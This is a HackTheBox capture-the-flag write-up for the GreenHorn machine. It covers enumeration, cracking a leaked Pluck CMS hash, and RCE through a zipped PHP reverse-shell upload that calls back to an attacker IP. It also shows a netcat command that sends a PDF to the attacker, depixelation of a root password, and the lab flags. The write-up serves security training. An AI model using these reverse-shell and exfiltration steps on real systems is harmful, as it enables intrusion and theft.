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HackTheBox GreenHorn

Writeup for HackTheBox GreenHorn

Posted Updated
By Edwin Tok
5 min read
HackTheBox GreenHorn

Machine Synopsis

GreenHorn is an easy difficulty machine that takes advantage of an exploit in Pluck to achieve Remote Code Execution and then demonstrates the dangers of pixelated credentials. The machine also showcases that we must be careful when sharing open-source configurations to ensure that we do not reveal files containing passwords or other information that should be kept confidential. (Source)

Key exploitation techniques:

  • Pluck CMS RCE (CVE-2023-50564) via arbitrary file upload
  • Information disclosure from exposed configuration file (pass.php)
  • Hash cracking (SHA512)
  • Depixelization of obfuscated credentials from an image in a PDF
  • SSH for user and root access

Enumeration

An nmap scan identified SSH (22/tcp), HTTP (80/tcp), and an HTTP service on port 3000.

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❯ nmap -p- --min-rate 10000 10.10.11.25
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

❯ nmap -p 22,80,3000 -sC -sV 10.10.11.25
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open  http    Golang net/http server
|_http-title: GreenHorn
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=a00c33310d2e2309; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=xnqKvYagU5GV3SaFEwuIira2jqw6MTc0MDI4NTQ5NTYwOTY0MDMzNw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 23 Feb 2025 04:38:15 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=38733d4a5da2e94e; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=XR8OynIx0CwW5PdIPDzXIjr-vuM6MTc0MDI4NTQ5NTg1NTk0MzAwMg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 23 Feb 2025 04:38:15 GMT
|_    Content-Length: 0

The hostname greenhorn.htb was added to /etc/hosts.

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❯ echo -e '10.10.11.25\tgreenhorn.htb' | sudo tee -a /etc/hosts

Port 80 served a default Nginx page with an “admin” link redirecting to a login page.

port80_webpage

port80_login_page

Further research on Pluck 4.7.18 indicated CVE-2023-50564, an arbitrary file upload vulnerability.

Port 3000 hosted a Gitea instance.

port3000_webpage

gobuster found several directories, including /explore which redirected to /explore/repos.

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❯ gobuster dir -u http://greenhorn.htb:3000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
...
/admin           (Status: 303) [Size: 38] [--> /user/login]
/explore         (Status: 303) [Size: 41] [--> /explore/repos]
...

Investigation of the login.php source code on the Pluck CMS revealed an interesting include: data/settings/pass.php.

port3000_explore

port3000_repo

This file contained a SHA512 hash assigned to the $ww variable, which was used for password comparison.

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// From login.php source code
// ...
require_once 'data/settings/pass.php';
// ...
if (isset($_POST['submit']) && empty($_POST['bogus'])) {
    $pass = hash('sha512', $cont1);
    // ...
    if (($pass == $ww) && (!isset($login_error))) {
        $_SESSION[$token] = 'pluck_loggedin';
// ...

The content of /data/settings/pass.php was retrieved.

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<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>

Exploitation

Pluck CMS RCE (www-data)

The SHA512 hash d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163 was cracked using CrackStation, revealing the password iloveyou1. This allowed login to the Pluck CMS dashboard on port 80.

port80_login_dashboard

The dashboard included a “Manage Modules” section with an “Install Module” function, vulnerable to arbitrary file upload (CVE-2023-50564).

port80_manage_modules

port80_install_modules

A PHP reverse shell from Pentest Monkey was configured and zipped.

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❯ cat reverse.php
<?php
// ...
$ip = '10.10.16.9';  // ATTACKER IP
$port = 1234;        // ATTACKER PORT
// ...
?>

❯ zip reverse.zip reverse.php
  adding: reverse.php (deflated 59%)

A nc listener was started. The reverse.zip file was then uploaded via the “Install Module” function, executing the reverse shell.

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❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.25] 45844
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 08:41:50 up  4:05,  0 users,  load average: 0.00, 0.00, 0.00
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

A TTY was spawned (script /dev/null -c /bin/bash). Initial user enumeration showed junior in /home.

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www-data@greenhorn:/$ script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
www-data@greenhorn:/$ cd home
www-data@greenhorn:/home$ ls
git  junior
www-data@greenhorn:/home$ ls junior
'Using OpenVAS.pdf'   user.txt

user.txt was inaccessible as www-data. The previously cracked password iloveyou1 was used to su to junior.

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www-data@greenhorn:/home$ su junior
Password: iloveyou1

junior@greenhorn:/home$ cat junior/user.txt
3bf8824a45112d75914dae530a440228

Privilege Escalation

Depixelization of Credentials (Root)

As junior, the Using OpenVAS.pdf file was exfiltrated to the attacking machine via nc.

Now that we are junior, we can also transfer the interesting pdf file that was in the home directory.

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# On attacker
❯ nc -nlvp 8888 > 'Using OpenVAS.pdf'

# On target
junior@greenhorn:~$ cat 'Using OpenVAS.pdf' | nc 10.10.16.9 8888

openvas_pdf

Reviewing the PDF, it contained a pixelated image. The pdfimages tool extracted the image as pixel-000.png.

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❯ pdfimages -png Using\ OpenVAS.pdf pixel
❯ ls
 Depixelization_poc  'Using OpenVAS.pdf'   pixel-000.png   reverse.php   reverse.zip
❯ file pixel-000.png
pixel-000.png: PNG image data, 420 x 15, 8-bit/color RGB, non-interlaced

Here is the image extracted from the pdf file.

pixel-000

The Depixelization_poc tool from GitHub was used to recover plaintext from the pixelated image. The search image (debruinseq_notepad_Windows10_closeAndSpaced.png) was chosen to depixelate pixel-000.png.

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❯ git clone https://github.com/spipm/Depixelization_poc
❯ cd Depixelization_poc
❯ python3 depix.py -p ../pixel-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2025-02-23 17:19:37,058 - Loading pixelated image from ../pixel-000.png
...
2025-02-23 17:20:02,383 - Saving output image to: output.png

The output.png image revealed the root password: sidefromsidetheothersidesidefromsidetheotherside.

output

Finally, the su command was used to switch to the root user with the recovered password, obtaining the root.txt flag.

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junior@greenhorn:~$ su root
Password: sidefromsidetheothersidesidefromsidetheotherside

root@greenhorn:/home/junior# cat /root/root.txt
82d1cac42d9242eb8c094837d0485799
HackTheBox
linux
This post is licensed under CC BY 4.0 by the author.